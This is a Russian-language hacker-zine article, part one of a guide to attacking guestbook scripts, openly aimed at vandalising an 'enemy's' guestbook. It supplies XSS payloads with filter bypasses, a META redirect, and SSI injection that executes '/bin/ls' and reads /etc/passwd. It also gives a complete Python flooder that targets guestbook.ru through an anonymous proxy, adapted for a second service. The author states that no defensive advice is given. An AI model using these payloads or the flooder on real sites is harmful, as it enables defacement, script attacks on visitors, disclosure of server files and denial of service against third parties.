-------------------------------------------
#! /usr/share/doc/defaced/2/tandp/guest.txt
-------------------------------------------

---------------------------------------------
Полное руководство по `хакингу' гостевых книг [ by euronymous ]
            Ч А С Т Ь  П Е Р В А Я
---------------------------------------------

"""
   Как зафлудить гостевую книгу на guestbook.ru?
                          Неизвестный посетитель
"""

В  данной  статье  я  расскажу  о  поиске  и использовании уязвимостей, присущих
большинству  сценариев гостевых книг, доступных в сети. Статья будет состоять из
трех  частей.  В  первой  из  них  будут  объяснены основные методы исследования
сценария,  исходный  код  которого  недоступен.  В  двух  других частях, которые
появятся  в  последующих  номерах  журнала,  будет  описан процесс идентификации
уязвимостей  в  исходном  коде  и  атаки  страницы  управления  гостевой книгой,
соответственно. Я понимаю, что идея не нова, но поскольку подобные вопросы часто
задают,  я  решил составить документ, который бы раз и навсегда с этим покончил.
Здесь не будет рекомендаций по обезопасиванию своих программ от этого вида атак,
но  внимательный  программист  сам  поймет,  что  ему  может  угрожать и как это
предотвратить.

Итак,  поехали, представим что перед вами гостевая книга вашего недруга, имеющая
неизвестное  происхождение  [  в большинстве случаев самописная ]. Вы были бы не
прочь  сделать  с  ней  что-нибудь плохое. Что?? Целиком зависит от самой книги.
Рассмотрим возможности в порядке критичности.

1. Выполнение произвольных команд/чтение произвольных файлов.
2. Получение административного доступа к гостевой книге.
3. Выполнение client-side кода [ HTML, JS, VB, etc ].
4. Выполнение server-side кода [ SSI, PHP, etc ]
5. Флуд.
6. Скроллеры.
7. Анонимные/пустые сообщения.

Отложим,  первые две возможности по некоторым причинам. Во-первых, в большинстве
случаев, трудно выявить возможность выполнения команд или чтения файлов, не имея
на  руках  исходного кода, хотя бывают и исключения. Получение административного
доступа  было решено рассмотреть в последующих частях документа. Поэтому эти две
темы не будут здесь рассмотрены.


Выполнение client-side кода
---------------------------

Чтобы  выяснить, язвим ли сценарий гостевой книги к вставке кода, выполняющегося
на  стороне  клиента,  достаточно  вставить  в  каждое  из  полей формы примерно
следующую строку:

<H1>test</H1>

Если  хоть один из параметров формы не проверяется на наличие подобных значений,
то  вы  увидите слово `test' крупным шрифтом. По большому счету, максимум что вы
можете  из этого извлечь, это вставка картинок неприличного содержания, ссылок и
прочего.  Можно  приукрасить  все  это  выполнением  JavaScript  или VisualBasic
Script.  В  сети доступно бесчиленное количество примеров злого кода, способного
выполнить  нужные  вам  действия  на машине незадачливого пользователя. Особенно
советую посетить такие сайты как guninski.com и malware.com

Большинство  гостевых  книг  имеет лишь два обязательных поля - Имя и Сообщение,
среди дополнительных полей обычно выступают E-mail, адрес web-сайта, город, etc.
Так  вот,  именно  эти  необязательные поля чаще всего не проверяются сценарием,
поэтому обратите на них большее внимание.

Иногда бывает, что сценарий позволяет вам передавать такие тэги как <Hn>, <IMG>,
etc  но  не позволяет использовать <SCRIPT> из-за маленького фильтра, созданного
автором.  В  таком  случае  вы  можете  попробовать выполнить JS при помощи тэга
<IMG>, равно как и ряда других:

<IMG SRC="javasсript:alert('its works!!')">

Также   фильтр  может  стоять  на  само  слово  `javascript'.  Тогда  вы  можете
попробовать  метод,  который в свое время позволял обойти фильтр почтовой службы
Hotmail:

<IMG SRC="javas&#67;ript:alert('its works!!')">
 
Одной   из   разновидностей   этой   атаки   является  игра  с  так  называемыми
псевдо-тэгами,  имеющимися  во  многих  форумах и некоторых продвинутых гостевых
книгах.  Под  этим подразумеваются безопасные заменители стандартных тэгов HTML,
которые  разрешается использовать посетителям. Например, для вставки изображения
можно   воспользоваться  парой  псевдо-тэгов  [IMG]  и  [/IMG].  Опять  же,  при
недостаточной проверке этих псевдо-тэгов возможна вставка и выполнение кода JS и
VBS.  Если  вы  встретили  гостевую книгу, позволяющую использовать псевдо-тэги,
попробуйте что-нибудь вроде этого:

[IMG]nonexistent_img"onerror="alert('its work!!');[/IMG]

Впрочем, наличие вышеописанных багов уже редкость, хотя подобные творения иногда
встречаются.  Стоит упомянуть еще вот о чем. Иногда различные проверки и фильтры
реализованы не в самой программе, а `приписаны' к ней в виде какого-либо кода на
JavaScript.  Делается  это по двум причнам: первая - снижение нагрузки на сервер
за  счет  выполнения  всех  проверок  на компьютере клиента; и вторая собственно
выполнение проверок, но более быстро и просто. Обойти такой фильтр, как правило,
не  сложно. Для этого вам необходимо сохранить страницу с формой на свой жесткий
диск,  затем  удалить  из  исходника  HTML-страницы  `лишний' JS-код и отправить
данные формы уже со своей страницы. Более подробно об этом читайте ниже.

Неплохой  идеей  будет  вставить  в страницу код перенаправления пользователя на
другой сайт. Этого можно достигнуть, например, так:
 
<META HTTP-EQUIV=REFRESH CONTENT=0;URL=http://your_page.com>

где  вместо  http://your_page.com  вам  нужно  прописать  URL,  на который будет
перенаправляться пользователь при заходе на страницу гостевой книги.


Выполнение server-side кода
---------------------------

Это  частный  случай предыдущей уязвимости. При исполнении некоторых условий, вы
сможете  вставить  в  страницу  код,  выполняемый  на  стороне  сервера, который
позволит вам выполнять на сервере команды, читать файлы.. Условия таковы:

1. На сервере включена поддержка SSI. [ Server Side Includes ]
2. Гостевая книга построена при помощи SSI.
3. Гостевая книга уязвима к вставке кода.

Если с первым пунктом все более-менее понятно, то со вторым необходимо некоторое
пояснение. Если сообщения гостевой книги выводятся в файл с расширением .shtml [
.shtm,  .sht  ]  и  книга  уязвима  к вставке кода, то наиболее вероятно, что вы
сможете  этим  воспользоваться. Просто вставьте в поле, не проверяемое сценарием
гостевой книги, например, такой тэг SSI:

<!--#exec cmd="/bin/ls -al"-->

При  благоприятных  условиях  вы  увидите  листинг  текущей  директории в выводе
сценария.  Однако администратор может ограничить использование оператора exec. В
этом случае вы можете попробовать следующий тэг:

<!--#include virtual="/etc/passwd"-->

В  данном  случае,  файл  паролей /etc/passwd будет включен в страницу с выводом
работы  сценария.  Здесь  стоит  отметить,  что  расширение .shtml и производные
являются   значениями   по   умолчанию.   Администратор  может  сконфигурировать
web-сервер  так,  чтобы  страницы  с  расширением .html [ и любым другим ] также
обрабатывались  на  предмет  тэгов  SSI,  поэтому  вам необходимо проверять этот
вариант.

Возможность  выполнения кода PHP [ в случае, если сценарий написан на этом языке
]  выходит за рамки рассмотрения здесь. Ищите материал на эту тему в последующих
частях этого документа.


Флуд
----

Полагаю,  все  знакомы  с этим понятием. Те, кто не воевал им сам, наверняка так
или  иначе  ощущали  это действие на себе. Под флудом в данном контексте принято
понимать  автоматизированное  занесение огромного числа одинаковых или различных
сообщений,  несущих  ту  или  иную  смысловую  нагрузку. Как узнать, возможно ли
проведение флуд-атаки на данной гостевой книге?? Это довольно просто. Попробуйте
добавить  два  идентичных  сообщения.  Если  сценарий  выдаст ошибку, мол, такое
сообщение уже присутствует, то все будет несколько сложней, но, тем не менее, не
невозможно.  Вы  можете  составить  список, или, как вариант, скачать какую-либо
книгу, из которого ваша программа будет брать по строке и вставлять в запрос.
  
Еще  одной  мерой  предотвращения  флуда,  хотя  и не менее прозрачной, является
проверка  переменной  HTTP_REFERER  клиента  HTTP.  Если она содержит какое-либо
отличное  от  заданного  значения,  то  данные формы не будут добавлены в книгу.
Опять  же,  обойти  это  довольно  просто  -  никто не мешает нам самостоятельно
указать в поле HTTP_REFERER пакета HTTP нужное значение.

Более напряжной защитой является запрет на повторное добавление нового сообщения
менее через определенный промежуток времени. Так же мне доводилось сталкивать со
сценариями,  которые автоматически блокировали доступ с атакующего IP при первых
`симптомах' флуд-атаки. Однако разработчики на такое идут редко. Главным образом
из-за  усложнения  и  увеличения  объема работы, но чаще просто из-за неудобств,
доставляемых  пользователям.  Но даже при таких раскладах можно найти решение. К
примеру,  это  будет программа, выдирающая строку из текстового файла в качестве
сообщения,  которое будет отсылаться через определенное время. Это напряжнее, но
не невозможно.

В  самом  простом  случае,  то  есть  при  отсутствии  проверок на повторяющиеся
сообщения  и  проверки  поля  HTTP_REFERER,  etc  достаточно  небольшого цикла в
JavaScript.  Но  этот  метод  по  некоторым  причинам неприемлем. Если для этого
используется  личный выделенный канал связи, то это будет дорогим удовольствием,
так   как   при   подобное   атаке   проходит   внушительный  трафик.  С  другой
стороны,  при  проведении  атаки  с модемного подключения, все будет происходить
медленнее  чем  хотелось  бы.  Наиболее  дельным вариантом было бы использование
удаленной оболочки Unix для выполнения программы в фоновом режиме.

Все вышеописанное лучше воспринимается на практическом примере. Давайте для этой
работы  возьмем  довольно  популярную  службу  -  guestbook.ru. На этом сайте вы
можете  зарегистрировать  личную  гостевую  книгу, и установить ссылку на нее на
своем   сайте.  При  этом  сама  гостевая  книга  будет  находиться  на  сервере
guestbook.ru   и   сценарий   будет  использоваться  один  и  тот  же  для  всех
пользователей.  Давайте  посмотрим  исходный  код  страницы  с  формой  отправки
сообщения:

<SCRIPT language=JavaScript>
		function checkFields ( ) {
			if (document.sign.signer.value == "") {
				alert('Your name is required!');
				return false;
			}
			if (document.sign.comments.value == "") {
				alert('Do not leave message field blank!');
				return false;
			}
			if (document.sign.comments.value.length >= 2048) {
				alert('Too big message! Слишком большое сообщение!');
				return false;
			}
			return true;
		}
</SCRIPT>

Первым в глаза бросается этот кусок кода страницы. Давайте посмотрим, что делает
эта  функция  checkFields(),  хотя  о  ее  назначении  можно  догадаться даже по
названию.  Итак,  она  проверяет,  чтобы  поля  формы  signer и comments были не
пустыми,  а  также  чтобы  значение  в поле comments не превышало размера в 2kb.
Законно  полагать, что удаление вызова этой функции из сохраненной нами страницы
позволит  нам  обойти  эти  ограничения.  Удалим  из  нашей страницы все лишнее,
оставив только то, что необходимо:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Personal Pages Guestbook</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
<BODY>

<FORM name=sign action=http://www.guestbook.ru/book.php method=post>
      
Ваше имя: <INPUT size=40 name=signer> 
          
Комментарии:<BR>

<TEXTAREA name=comments rows=4 wrap=virtual cols=40></TEXTAREA> 

<INPUT type=hidden value=nomer0 name=user>
<INPUT type=hidden value=post name=action>

<BR><INPUT type=submit value="Post it"> 

</FORM>
</BODY></HTML>

Здесь  в параметре action тэга <FORM> нам необходимо указать полный URL сценария
гостевой  книги,  а  также  указать  логин вашего неприятеля в качестве значения
скрытого поля user.

Как  вы  можете  видеть, у нас осталась только голая форма с двумя обязательными
полями  и  кнопкой.  Попробуем  отправить  ее, не заполняя. Однако, как вы позже
увидите,  наши  предположения не подвердились, и разработчики предусмотрели этот
шаг.  Сценарий  book.php  вывел сообщение об ошибке: `Ошибка: Вы должны оставить
комментарий  и представиться!'. Кстати сказать, попытка вставки HTML-кода в поля
формы  тоже  ни  к  чему не приведет - сценарий заменяет символы < и > на &lt; и
&gt;,  соответственно.  Вероятно, при помощи функций PHP *_replace(). Зато таким
образом мы обходим ограничение на размер сообщения.

В то же время мы видим, что сценарий не запрещает записывать несколько одинковых
сообщений  за короткий промежуток времени, что оставляет возможность флуд-атаки.
Еще  раз  рассмотрим оставшуюся часть кода и элементы формы - это необходимо нам
для  составления  корректного  URI  для  нашей  программы-флудера.  Если  вы  не
настолько  опытны,  чтобы `видеть' этот URI, исходя из названий и значений полей
формы,  то  вы  можете  поступить проще. Найдите открывающий тэг <FORM> и внутри
него  установите значение объекта method равным `GET' вместо `POST'. Теперь, при
попытке  отправить  данные  формы,  в адресной строке своего браузера вы увидите
примерно следующее:

http://www.guestbook.ru/book.php?signer=&comments=&user=nomer0&action=post

Здесь  параметр  signer  содержит  имя  посетителя  гостевой книги, оставляющего
сообщение;  параметр  comments содержит собственно сообщение; user - это учетная
запись  хозяина  гостевой  книги  [ в данном случае nomer0 ], а action - это тип
действия.

Обратите  внимание,  что,  поскольку  мы  отправляли  пустую форму, то параметры
signer и comments содержат пустые значения. Теперь приступим к написанию флудера:

--------- flooder.py ---------

#! /usr/bin/env python
###
#
# flooder for guestbook.ru book.php script
# by euronymous /f0kp
#
###

import os
import urllib

# если вы хотите посылать запросы через прокси-сервер, 
# раскомментируйте эту строку и пропишите реальный прокси
# os.environ['http_proxy']="http://some.anonymous.proxy:3128"

url = 'http://www.guestbook.ru/book.php'
book_id = 'victim_book'  #идентификатор гостевой книги
fname = '3v1l_fl00d3r' # наше имя
fpost = '''
           I just wanna say about authors lameness!! 
           I just wanna say about authors lameness!!
           I just wanna say about authors lameness!!
        '''
qs = 'signer='+fname+'&comments='+fpost+'&user='+book_id+'&action=post'
fl = 1
while fl in xrange(1,10000):
  fl = fl + 1 
  urllib.urlopen(url, qs)
else:
  print 'All done!!'
 

Теперь вам нужно немного изменить эту программу. В частности, если вы планируете
использовать  прокси-сервер,  то  вам  нужно  раскомментировать  соответствующую
строку  и вместо `http://some.anonymous.proxy:3128' указать реально существующий
рабочий анонимный прокси-сервер и его порт.
Переменную  url  вам  необходимо оставить без изменений, поскольку она одинакова
для всех пользователей гостевых книг от guestbook.ru
В  переменной book_id вам необходимо указать идентификатор, под которым гостевая
книга зарегистрирована в системе guestbook.ru
Переменные fname и fpost - это имя пользователя и текст сообщения, которые будут
фигурировать  в  этой гостевой книге, соответственно. Вы можете написать там что
захотите или оставить как есть.
Также  обратите  внимание  на  цикл  while:  в качестве параметра, передаваемого
функции  xrange()  передается  диапазон  значений  - в данном случае 1-10000. То
есть,  работа  программы  прекратится  лишь  тогда, когда будет отправлено 10000
сообщений  [  или  когда вы нажмете Ctrl+C ]. Вы можете изменить второй аргумент
функции в соответствии вашим нуждам. А можете изменить условие цикла.. Например,
напишите что-то вроде:

while 1==1:
  urllib.urlopen(url, qs)

И  цикл будет исполняться до тех пор, пока условие будет истинно. Так как 1 = 1,
то, стало быть, цикл будет исполняться бесконечно.

Теперь  сохраняйте  код  в  файле  flooder.py,  копируйте  его на свою удаленную
оболочку, делайте его исполняемым:

$ chmod +x flood.py

и запускайте:

$ ./flood.py

Затем  открывайте гостевую книгу вашего недруга и наблюдайте как она заполняется
вашими ядовитыми высказываниями.

Легкая  модификация  программы  делает  ее годной практически для любой гостевой
книги.  Вот,  к  примеру,  переменные  url  и  qs  для  гостевых  книг от службы
http://obzor.host.kz:

url = 'http://obzor.host.kz/guestes/guest.php?ids=28'
qs = 'name=++&mess='+fpost+'&add=%CE%F2%EF%F0%E0%E2%E8%F2%FC'

Здесь,  в  значении  переменной url вам необходимо изменить параметр ids с 28 на
идентификатор вашего неприятеля.

Конечно,  наш  флудер  можно было бы обвешать массой дополнительных примочек, но
это  останется  в  качестве  вашего  домашнего  задания.  Моя  задача - показать
основной принцип.


Скроллеры
---------

Недостатком,  наличествующим  в  подавляющем  большинстве гостевых книг, который
может существенно омрачить внешний вид странички является отсутствие ограничений
на  размер  слова.  То  есть,  если  мы, к примеру в поле ввода текста сообщения
введем  строку,  состоящую  из 300 символов `A', неразделенных пробелами, то она
уйдет за границы видимой области экрана, вызвав появление скроллеров [ или полос
прокрутки браузера ], что выглядит очень неприятно. Попробуйте изменить значение
переменной fpost в сценарии flooder.py следующим образом:

fpost = 'f' * 300


Анонимные/пустые сообщения
--------------------------

Ну  и  последний  на этот раз рецепт. Иногда хочется, а иногда просто необходимо
отправить  сообщение  без  подписи,  или с пустым телом сообщения. В большинстве
случаев это очень просто реализуется. Например, чтобы отправить пустое сообщение
в  гостевую  книгу  от  guestbook.ru,  вам  необходимо  ввести по одному символу
пробела  в  каждое  поле  формы.  Как  вы  могли  видеть выше, сценарий book.php
проверяет,  чтобы  значения  этих  полей  не были пустыми. Наличие в них пробела
удовлетворяет условию, даже не смотря на то, каким будет конечный результат.

В  других  книгах,  таких  как  от  obzor.host.kz  и on.ufanet.ru такой фокус не
пройдет,  но  пройдет другой. В качестве своего имени или тела сообщения укажите
один  из  неотображаемых  браузером  символов,  такой  как &nbsp;. Для браузеров
Internet   Explorer  сгодится  и  &shy;.  Естесственно,  все  эти  приемы  могут
комбинироваться с вашей программой-флудером.

Это  пока  и  все  что я хотел сказать. Если у вас появились какие-либо вопросы,
замечания или предложения, я с радостью отвечу на них в своем форуме. Удачи!!